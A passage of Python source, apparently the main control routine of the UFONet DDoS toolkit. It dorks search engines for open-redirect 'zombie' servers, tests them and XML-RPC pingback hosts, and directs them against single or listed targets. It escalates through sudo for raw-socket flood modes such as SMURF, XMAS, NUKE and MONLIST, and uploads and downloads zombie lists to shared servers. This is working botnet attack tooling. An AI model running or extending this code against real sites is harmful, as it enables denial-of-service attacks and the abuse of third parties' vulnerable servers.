  397. ports = options.xrayps
  398. try:
  399. portX, portY = ports.split('-')
  400. try:
  401. portX = int(portX)
  402. portY = int(portY)
  403. except:
  404. portX = 1
  405. portY = 1024
  406. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  407. except:
  408. portX = 1
  409. portY = 1024
  410. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  411. self.banner()
  412. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  413. print('='*22 + '\n')
  414. try:
  415. self.instance = UFOSCAN() # instance main class for scanning operations
  416. xray = self.instance.scanning(options.xray, portX, portY)
  417. except Exception as e:
  418. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  419. if self.options.verbose:
  420. traceback.print_exc()
  421. return
  422. # show code timeline
  423. if options.timeline:
  424. f = open(self.timeline_file, 'r')
  425. releases = f.readlines()
  426. f.close()
  427. self.banner()
  428. print("-> Code timeline:")
  429. print('='*44)
  430. print("-"*35)
  431. for r in releases:
  432. print(r.strip('\n'))
  433. print("-"*35)
  434. print('='*75, "\n")
  435. # print some examples
  436. if options.examples:
  437. f = open(self.examples_file, 'r')
  438. examples = f.readlines()
  439. f.close()
  440. self.banner()
  441. for e in examples:
  442. print(e.strip('\n'))
  443. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  444. if options.ufosyn:
  445. euid = self.checkeuid()
  446. if euid != 0:
  447. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  448. try:
  449. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  450. os.execlpe('sudo', *args)
  451. except:
  452. pass # keep running, but UFOSYN will fail
  453. # check EUID when running SPRAY (root required)
  454. if options.spray:
  455. euid = self.checkeuid()
  456. if euid != 0:
  457. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  458. try:
  459. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  460. os.execlpe('sudo', *args)
  461. except:
  462. pass # keep running, but SPRAY will fail
  463. # check EUID when running SMURF (root required)
  464. if options.smurf:
  465. euid = self.checkeuid()
  466. if euid != 0:
  467. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  468. try:
  469. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  470. os.execlpe('sudo', *args)
  471. except:
  472. pass # keep running, but SMURF will fail
  473. # check EUID when running XMAS (root required)
  474. if options.xmas:
  475. euid = self.checkeuid()
  476. if euid != 0:
  477. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  478. try:
  479. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  480. os.execlpe('sudo', *args)
  481. except:
  482. pass # keep running, but XMAS will fail
  483. # check EUID when running NUKE (root required)
  484. if options.nuke:
  485. euid = self.checkeuid()
  486. if euid != 0:
  487. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  488. try:
  489. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  490. os.execlpe('sudo', *args)
  491. except:
  492. pass # keep running, but NUKE will fail
  493. # check EUID when running TACHYON (root required)
  494. if options.tachyon:
  495. euid = self.checkeuid()
  496. if euid != 0:
  497. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  498. try:
  499. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  500. os.execlpe('sudo', *args)
  501. except:
  502. pass # keep running, but TACHYON will fail
  503. # check EUID when running MONLIST (root required)
  504. if options.monlist:
  505. euid = self.checkeuid()
  506. if euid != 0:
  507. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  508. try:
  509. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  510. os.execlpe('sudo', *args)
  511. except:
  512. pass # keep running, but MONLIST will fail
  513. # search for [Zombies] on search engines results (dorking)
  514. if options.search:
  515. zombies = []
  516. if options.engine:
  517. engine = options.engine
  518. else:
  519. engine = "duck" # default search engine
  520. try:
  521. self.banner()
  522. if not os.path.exists(self.humans_file) == True:
  523. f = open(self.humans_file, 'w')
  524. f.close()
  525. lf = open(self.humans_file, 'r')
  526. restored = lf.readlines()
  527. zombies_restored = len(restored)
  528. lf.close()
  529. lz = open(self.zombies_file, 'r')
  530. zombies_army = lz.readlines()
  531. for zombie in zombies_army:
  532. zombies.append(zombie) # add zombies from army to the zombies pool
  533. lz.close()
  534. if len(restored) > 0:
  535. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  536. if not self.options.forceyes:
  537. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  538. print('-'*25)
  539. else:
  540. backup_reply = "Y"
  541. if backup_reply == "n" or backup_reply == "N":
  542. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  543. os.remove(self.humans_file)
  544. zombies_restored = 0 # flush zombies restored
  545. print('-'*25 + "\n")
  546. else:
  547. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  548. print('-'*25 + "\n")
  549. for zombie in restored:
  550. zombies.append(zombie) # add previous data to zombies pool
  551. if options.allengines:
  552. if options.ex_engine: # exclude some search engines manually
  553. exclude = options.ex_engine.split(",")
  554. for ex in exclude:
  555. ex = ex.lower()
  556. if ex in self.search_engines:
  557. if len(self.search_engines) == 1: # at least one should make it
  558. pass
  559. else:
  560. self.search_engines.remove(ex)
  561. for e in self.search_engines:
  562. engine = e
  563. print('='*44)
  564. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  565. print('='*44 + '\n')
  566. self.options.engine = engine
  567. try:
  568. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  569. if zombies_chain != None:
  570. for zombie in zombies_chain:
  571. if zombie not in zombies: # evade possible repetitions
  572. zombies.append(zombie)
  573. except:
  574. if zombies: # backup all new zombies found to file in case of exception
  575. for zombie in zombies:
  576. if zombie+os.linesep not in restored: # only append new zombies found
  577. with open(self.humans_file, "a") as f:
  578. f.write(str(zombie+os.linesep))
  579. else:
  580. if restored:
  581. print('='*44)
  582. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  583. print('='*44 + '\n')
  584. if restored: # from restored file
  585. try:
  586. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  587. if zombies_chain != None:
  588. for zombie in zombies_chain:
  589. if zombie not in zombies: # evade possible repetitions
  590. zombies.append(zombie)
  591. except:
  592. if zombies: # backup all new zombies found to file in case of exception
  593. for zombie in zombies:
  594. if zombie+os.linesep not in restored: # only append new zombies found
  595. with open(self.humans_file, "a") as f:
  596. f.write(str(zombie+os.linesep))
  597. else:
  598. try:
  599. zombies = self.search_zombies(dork='', zombies_found=zombies)
  600. except:
  601. if zombies: # backup all new zombies found to file in case of exception
  602. for zombie in zombies:
  603. if zombie+os.linesep not in restored: # only append new zombies found
  604. with open(self.humans_file, "a") as f:
  605. f.write(str(zombie+os.linesep))
  606. total_restored = zombies_restored
  607. new_zombies = 0 # new zombies counter
  608. f = open(self.zombies_file, 'r')
  609. zz = f.readlines()
  610. f.close()
  611. zombies_found = []
  612. for z in zombies:
  613. if z.endswith(os.linesep):
  614. z = z.replace(os.linesep, "")
  615. if z not in zz and z+os.linesep not in zz:
  616. new_zombies = new_zombies + 1
  617. zombies_found.append(z)
  618. print('='*62)
  619. print("\n- Victims found:", len(zombies_found), "\n")
  620. print(" - Restored:", total_restored)
  621. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  622. print('-'*32)
  623. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  624. print('='*62 + '\n')
  625. if len(zombies) > 0:
  626. if not self.options.forceyes:
  627. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  628. print('-'*25)
  629. else:
  630. check_backup_reply = "Y"
  631. if check_backup_reply == "n" or check_backup_reply == "N":
  632. if os.path.isfile(self.humans_file):
  633. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  634. print("\n[Info] [AI] Temporal data correctly removed...\n")
  635. else:
  636. with open(self.humans_file, "w") as f:
  637. for z in zombies_found:
  638. if z.endswith(os.linesep):
  639. z = z.replace(os.linesep, "")
  640. if z not in zz or z+os.linesep not in zz:
  641. f.write(z+os.linesep)
  642. f.close()
  643. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  644. print('-'*25 + "\n")
  645. if new_zombies and new_zombies > 0:
  646. if not self.options.forceyes:
  647. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  648. print('-'*25 + "\n")
  649. else:
  650. check_url_link_reply = "Y"
  651. if check_url_link_reply == "n" or check_url_link_reply == "N":
  652. print("[AI] "+self.exit_msg+"\n")
  653. pass
  654. else:
  655. print("\n" + '='*44)
  656. test = self.testing(zombies_found)
  657. else:
  658. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  659. except Exception:
  660. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  661. # search for [Zombies] from a list of [Dorks]
  662. if options.dorks:
  663. if options.engine:
  664. engine = options.engine
  665. else:
  666. engine = "duck" # default search engine
  667. try:
  668. dorks = self.extract_dorks()
  669. if not dorks:
  670. return
  671. zombies = []
  672. self.banner()
  673. if not os.path.exists(self.humans_file) == True:
  674. f = open(self.humans_file, 'w')
  675. f.close()
  676. lf = open(self.humans_file, 'r')
  677. restored = lf.readlines()
  678. zombies_restored = len(restored)
  679. lf.close()
  680. lz = open(self.zombies_file, 'r')
  681. zombies_army = lz.readlines()
  682. for zombie in zombies_army:
  683. zombies.append(zombie) # add zombies from army to the zombies pool
  684. lz.close()
  685. if len(restored) > 0:
  686. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  687. if not self.options.forceyes:
  688. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  689. print('-'*25)
  690. else:
  691. backup_reply = "Y"
  692. if backup_reply == "n" or backup_reply == "N":
  693. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  694. os.remove(self.humans_file)
  695. zombies_restored = 0 # flush zombies restored
  696. print('-'*25 + "\n")
  697. else:
  698. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  699. print('-'*25 + "\n")
  700. for zombie in restored:
  701. zombies.append(zombie) # add previous data to zombies pool
  702. total_restored = zombies_restored
  703. if options.allengines:
  704. if options.ex_engine: # exclude some search engines manually
  705. exclude = options.ex_engine.split(",")
  706. for ex in exclude:
  707. ex = ex.lower()
  708. if ex in self.search_engines:
  709. if len(self.search_engines) == 1: # at least one should make it
  710. pass
  711. else:
  712. self.search_engines.remove(ex)
  713. for e in self.search_engines:
  714. engine = e
  715. print('='*44)
  716. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  717. print('='*44 + '\n')
  718. self.options.engine = engine
  719. for dork in dorks:
  720. print('='*22)
  721. print("Dork:", dork)
  722. print('='*22 + '\n')
  723. try:
  724. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  725. for zombie in dorked_zombies:
  726. if zombie not in zombies: # evade repetitions for zombies found
  727. zombies.append(zombie)
  728. if zombie+os.linesep not in restored: # only append new zombies found
  729. with open(self.humans_file, "a") as f:
  730. f.write(str(zombie+os.linesep))
  731. f.close()
  732. except:
  733. if zombies: # backup new zombies found on exception
  734. for zombie in zombies:
  735. if zombie+os.linesep not in restored: # only append new zombies found
  736. with open(self.humans_file, "a") as f:
  737. f.write(str(zombie+os.linesep))
  738. f.close()
  739. else:
  740. if restored:
  741. print('='*44)
  742. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  743. print('='*44 + '\n')
  744. for dork in dorks:
  745. print('='*22)
  746. print("Dork:", dork)
  747. print('='*22 + '\n')
  748. try:
  749. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  750. if dorked_zombies != None:
  751. for zombie in dorked_zombies:
  752. if zombie not in zombies: # evade repetitions for zombies found
  753. zombies.append(zombie)
  754. except:
  755. if zombies: # backup new zombies found on exception
  756. for zombie in zombies:
  757. if zombie+os.linesep not in restored: # only append new zombies found
  758. with open(self.humans_file, "a") as f:
  759. f.write(str(zombie+os.linesep))
  760. f.close()
  761. new_zombies = 0 # new zombies counter
  762. f = open(self.zombies_file, 'r')
  763. zz = f.readlines()
  764. f.close()
  765. zombies_found = []
  766. for z in zombies:
  767. if z.endswith(os.linesep):
  768. z = z.replace(os.linesep, "")
  769. if z not in zz and z+os.linesep not in zz:
  770. new_zombies = new_zombies + 1
  771. zombies_found.append(z)
  772. print('='*62)
  773. print("\n- Victims found:", len(zombies_found), "\n")
  774. print(" - Restored:", total_restored)
  775. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  776. print('-'*32)
  777. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  778. print('='*62 + '\n')
  779. if len(zombies_found) > 0:
  780. if not self.options.forceyes:
  781. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  782. print('-'*25)
  783. else:
  784. check_backup_reply = "Y"
  785. if check_backup_reply == "n" or check_backup_reply == "N":
  786. if os.path.isfile(self.humans_file):
  787. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  788. print("\n[Info] [AI] Temporal data correctly removed...\n")
  789. else:
  790. with open(self.humans_file, "w") as f:
  791. for z in zombies_found:
  792. if z.endswith(os.linesep):
  793. z = z.replace(os.linesep, "")
  794. if z not in zz or z+os.linesep not in zz:
  795. f.write(z+os.linesep)
  796. f.close()
  797. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  798. print('-'*25 + "\n")
  799. if new_zombies and new_zombies > 0:
  800. if not self.options.forceyes:
  801. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  802. print('-'*25 + "\n")
  803. else:
  804. check_url_link_reply = "Y"
  805. if check_url_link_reply == "n" or check_url_link_reply == "N":
  806. print("[AI] "+self.exit_msg+"\n")
  807. pass
  808. else:
  809. print("\n" + '='*44)
  810. test = self.testing(zombies_found)
  811. else:
  812. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  813. except Exception:
  814. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  815. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  816. if options.autosearch:
  817. try:
  818. dorks = self.extract_dorks()
  819. except:
  820. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  821. return
  822. engines_list = self.search_engines
  823. stop_flag = False # use a flag to establish an end
  824. try:
  825. self.banner()
  826. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  827. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  828. print('-'*25 + "\n")
  829. zombies_found = []
  830. lz = open(self.zombies_file, 'r')
  831. zombies_army = lz.readlines()
  832. for zombie in zombies_army:
  833. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  834. lz.close()
  835. if not os.path.exists(self.humans_file) == True:
  836. f = open(self.humans_file, 'w')
  837. f.close()
  838. lf = open(self.humans_file, 'r')
  839. restored = lf.readlines()
  840. zombies_restored = len(restored)
  841. lf.close()
  842. if len(restored) > 0:
  843. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  844. if not self.options.forceyes:
  845. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  846. print('-'*25)
  847. else:
  848. backup_reply = "Y"
  849. if backup_reply == "n" or backup_reply == "N":
  850. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  851. os.remove(self.humans_file)
  852. zombies_restored = 0 # flush zombies restored
  853. print('-'*25 + "\n")
  854. else:
  855. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  856. print('-'*25 + "\n")
  857. for zombie in restored:
  858. zombies_found.append(zombie) # add previous data to zombies found pool
  859. total_restored = zombies_restored
  860. while stop_flag == False:
  861. if not os.path.exists(self.humans_file) == True:
  862. f = open(self.humans_file, 'w')
  863. f.close()
  864. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  865. restored = lf.readlines()
  866. lf.close()
  867. zombies_restored = len(restored)
  868. for e in engines_list:
  869. zombies_counter = 0 # use it also as (engine) flag
  870. engine = e
  871. self.options.engine = engine
  872. print('='*44 + '\n')
  873. print(("[AI] Searching for zombies using: "+engine+'\n'))
  874. print('='*44 + '\n')
  875. for dork in dorks:
  876. print('='*22)
  877. print("Dork:", dork)
  878. print('='*22 + '\n')
  879. try:
  880. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  881. for zombie in dorked_zombies:
  882. if zombie not in zombies_found: # evade repetitions for zombies found
  883. zombies_found.append(zombie)
  884. if zombie+os.linesep not in restored: # only append new zombies found
  885. with open(self.humans_file, "a") as f:
  886. f.write(str(zombie+os.linesep))
  887. f.close()
  888. zombies_counter = zombies_counter + 1
  889. except:
  890. if zombies_found: # backup new zombies found on exception
  891. for zombie in zombies_found:
  892. if zombie+os.linesep not in restored: # only append new zombies found
  893. with open(self.humans_file, "a") as f:
  894. f.write(str(zombie+os.linesep))
  895. f.close()
  896. if zombies_counter == 0:
  897. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  898. print('-'*25 + "\n")
  899. engines_list.remove(engine) # remove not more results engine from search engines list
  900. if not engines_list: # if search engines empty, call return-exit routine
  901. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  902. print('-'*25 + "\n")
  903. stop_flag = True # exit flag up
  904. new_zombies = 0 # new zombies counter
  905. f = open(self.zombies_file, 'r')
  906. zz = f.readlines()
  907. f.close()
  908. all_zombies_found = []
  909. for z in zombies_found:
  910. if z.endswith(os.linesep):
  911. z = z.replace(os.linesep, "")
  912. if z not in zz and z+os.linesep not in zz:
  913. new_zombies = new_zombies + 1
  914. all_zombies_found.append(z)
  915. print('='*62)
  916. print("\n- Victims found:", len(all_zombies_found), "\n")
  917. print(" - Restored:", total_restored)
  918. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  919. print('-'*32)
  920. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  921. print('='*62 + '\n')
  922. if len(zombies_found) > 0:
  923. if not self.options.forceyes:
  924. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  925. print('-'*25)
  926. else:
  927. check_backup_reply = "Y"
  928. if check_backup_reply == "n" or check_backup_reply == "N":
  929. if os.path.isfile(self.humans_file):
  930. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  931. print("\n[Info] [AI] Temporal data correctly removed...\n")
  932. else:
  933. with open(self.humans_file, "w") as f:
  934. for z in all_zombies_found:
  935. if z.endswith(os.linesep):
  936. z = z.replace(os.linesep, "")
  937. if z not in zz or z+os.linesep not in zz:
  938. f.write(z+os.linesep)
  939. f.close()
  940. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  941. print('-'*25 + "\n")
  942. if new_zombies and new_zombies > 0:
  943. if not self.options.forceyes:
  944. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  945. print('-'*25 + "\n")
  946. else:
  947. check_url_link_reply = "Y"
  948. if check_url_link_reply == "n" or check_url_link_reply == "N":
  949. print("[AI] "+self.exit_msg+"\n")
  950. pass
  951. else:
  952. print("\n" + '='*44)
  953. test = self.testing(all_zombies_found)
  954. else:
  955. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  956. except Exception:
  957. print ("[Error] [AI] Something wrong (auto)searching...\n")
  958. # test web 'zombie' servers -> show statistics
  959. if options.test:
  960. try:
  961. self.banner()
  962. zombies = self.extract_zombies()
  963. if not zombies:
  964. return
  965. test = self.testing(zombies)
  966. self.update_missions_stats() # update mothership missions stats
  967. except Exception:
  968. print ("\n[Error] [AI] Something wrong testing!\n")
  969. if self.options.verbose:
  970. traceback.print_exc()
  971. # test XML-'rpc' pingback vulnerable servers -> update list
  972. if options.testrpc:
  973. try:
  974. self.banner()
  975. rpcs = self.extract_rpcs()
  976. if not rpcs:
  977. return
  978. testrpc = self.testing_rpcs(rpcs)
  979. self.update_missions_stats() # update mothership missions stats
  980. except Exception:
  981. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  982. if self.options.verbose:
  983. traceback.print_exc()
  984. # check botnet searching for zombies offline
  985. if options.testoffline:
  986. try:
  987. self.banner()
  988. testbotnet = self.testing_offline()
  989. self.update_missions_stats() # update mothership missions stats
  990. except Exception:
  991. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  992. if self.options.verbose:
  993. traceback.print_exc()
  994. # check ALL botnet status
  995. if options.testall:
  996. try:
  997. self.banner()
  998. test_all_botnet = self.testing_all()
  999. self.update_missions_stats() # update mothership missions stats
  1000. except Exception:
  1001. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1002. if self.options.verbose:
  1003. traceback.print_exc()
  1004. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1005. if options.target:
  1006. try:
  1007. self.banner()
  1008. zombies = self.extract_zombies()
  1009. if not zombies:
  1010. return
  1011. attack = self.attacking(zombies, options.target)
  1012. self.update_missions_stats() # update mothership missions stats
  1013. except Exception:
  1014. print ("\n[Error] [AI] Something wrong attacking!\n")
  1015. if self.options.verbose:
  1016. traceback.print_exc()
  1017. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1018. if options.target_list:
  1019. try:
  1020. self.banner()
  1021. zombies = self.extract_zombies()
  1022. if not zombies:
  1023. return
  1024. targets = self.extract_target_list()
  1025. if not targets:
  1026. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1027. return
  1028. self.options.forceyes = True # force-yes ON!
  1029. self.num_target_list = 0
  1030. print("\n[AI] Checking integrity of targets...\n")
  1031. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1032. if not t.startswith("http"): # discarded inmediately
  1033. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1034. targets.remove(t) # ¿remove? invalid targets
  1035. print("")
  1036. c = 0
  1037. for target in targets:
  1038. if target == "":
  1039. c = c + 1
  1040. else:
  1041. self.num_target_list = self.num_target_list + 1
  1042. if c == len(targets):
  1043. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1044. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1045. else:
  1046. for target in targets:
  1047. print('='*55 + "\n")
  1048. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1049. print("="*55)
  1050. self.options.target = target
  1051. attack = self.attacking(zombies, target)
  1052. self.update_missions_stats() # update mothership missions stats (each target counts)
  1053. except Exception:
  1054. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1055. if self.options.verbose:
  1056. traceback.print_exc()
  1057. # inspect target -> inspect target's components sizes
  1058. if options.inspect:
  1059. try:
  1060. self.banner()
  1061. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1062. print('='*22 + '\n')
  1063. self.instance = Inspector(self) # instance main class for inspection operations
  1064. inspection = self.instance.inspecting(options.inspect)
  1065. self.update_missions_stats() # update mothership missions stats
  1066. except Exception as e:
  1067. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1068. if self.options.verbose:
  1069. traceback.print_exc()
  1070. return #sys.exit(2)
  1071. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1072. if options.abduction:
  1073. try:
  1074. self.banner()
  1075. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1076. print('='*22 + '\n')
  1077. self.instance = Abductor(self) # instance main class for abduction operations
  1078. abduction = self.instance.abducting(options.abduction)
  1079. self.update_missions_stats() # update mothership missions stats
  1080. except Exception as e:
  1081. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1082. if self.options.verbose:
  1083. traceback.print_exc()
  1084. return #sys.exit(2)
  1085. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1086. if options.attackme:
  1087. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1088. try:
  1089. self.banner()
  1090. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1091. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1092. if not self.options.forceyes:
  1093. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1094. else:
  1095. update_reply = "Y"
  1096. if update_reply == "n" or update_reply == "N":
  1097. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1098. return
  1099. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1100. print("\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash)
  1101. print("\n[AI] Checking NAT/IP configuration:\n")
  1102. nat = self.check_nat()
  1103. f = open("alien", "w") # generate random alien worker
  1104. f.write(str(self.mothership_hash))
  1105. f.close()
  1106. if self.nat_error_flag == "ON":
  1107. return
  1108. zombies = self.extract_zombies()
  1109. if not zombies:
  1110. return
  1111. attackme = self.attackme(zombies)
  1112. self.update_missions_stats() # update mothership missions stats
  1113. except Exception as e:
  1114. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1115. if self.options.verbose:
  1116. traceback.print_exc()
  1117. return #sys.exit(2)
  1118. # check/update for latest stable version
  1119. if options.update:
  1120. self.banner()
  1121. try:
  1122. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1123. Updater()
  1124. except:
  1125. print("Not any .git repository found!\n")
  1126. print("="*30)
  1127. print("\nTo have working this feature, you should clone UFONet with:\n")
  1128. print("$ git clone %s" % self.GIT_REPOSITORY)
  1129. print("\nAlso you can try this other mirror:\n")
  1130. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1131. # launch GUI/Web interface
  1132. if options.web:
  1133. self.create_web_interface()
  1134. return
  1135. # generate [Blackhole] server to share [Zombies]
  1136. if options.blackhole is not None:
  1137. self.banner()
  1138. try:
  1139. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1140. sys.path.append(blackhole_lib)
  1141. from core.tools.blackhole import BlackHole
  1142. print("\n[AI] Initiating void generation sequence...\n")
  1143. print('='*22 + '\n')
  1144. app = BlackHole()
  1145. app.start()
  1146. while True: time.sleep(1)
  1147. except KeyboardInterrupt:
  1148. print("\n[AI] Terminating void generation sequence...\n")
  1149. app.collapse()
  1150. except Exception as e:
  1151. print("[Error] "+str(e))
  1152. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1153. # create [Griger] server to share [Stats/Wargames/Messages]
  1154. if options.grider is not None:
  1155. self.banner()
  1156. try:
  1157. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1158. sys.path.append(grider_lib)
  1159. from core.tools.grider import Grider
  1160. print("\n[AI] Initiating void generation sequence...\n")
  1161. print('='*22 + '\n')
  1162. app = Grider()
  1163. app.start()
  1164. while True: time.sleep(1)
  1165. except KeyboardInterrupt:
  1166. print("\n[AI] Terminating void generation sequence...\n")
  1167. app.collapse()
  1168. except Exception as e:
  1169. print("[Error] "+str(e))
  1170. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1171. # download list of [Zombies] from a [Blackhole] IP
  1172. if options.dip is not None:
  1173. options.download = True
  1174. self.blackhole = options.dip
  1175. # upload list of [Zombies] to a [Blackhole] IP
  1176. if options.upip is not None:
  1177. options.upload = True
  1178. self.blackhole = options.upip
  1179. # download list of [Zombies] from Community server [20/01/2020 OK!]
  1180. if options.download:
  1181. try:
  1182. self.banner()
  1183. if options.dip is not None:
  1184. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1185. else:
  1186. print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
  1187. print('='*22 + '\n')
  1188. download_list = self.downloading_list()
  1189. except Exception as e:
  1190. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1191. return
  1192. # upload list of [Zombies] to Community server [20/01/2020 OK!]
  1193. if options.upload:
  1194. try:
  1195. self.banner()
  1196. if options.upip is not None:
  1197. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1198. else:
  1199. print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
  1200. print('='*22 + '\n')
  1201. upload_list = self.uploading_list()
  1202. except Exception as e:
  1203. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1204. if self.options.verbose:
  1205. traceback.print_exc()
  1206. return #sys.exit(2)
  1207. # download list of [Zombies] from GitHub server [20/01/2020 OK!]
  1208. if options.download_github:
  1209. try:
  1210. self.banner()
  1211. print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
  1212. print('='*22 + '\n')
  1213. download_github_list = self.downloading_github_list()
  1214. except Exception as e:
  1215. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1216. return
  1217. # upload list of [Zombies] to GitHub server [20/01/2020 OK!]
  1218. if options.upload_github:
  1219. try:
  1220. self.banner()
  1221. print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
  1222. print('='*22 + '\n')
  1223. upload_github_list = self.uploading_github_list()
  1224. except Exception as e:
  1225. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1226. if self.options.verbose:
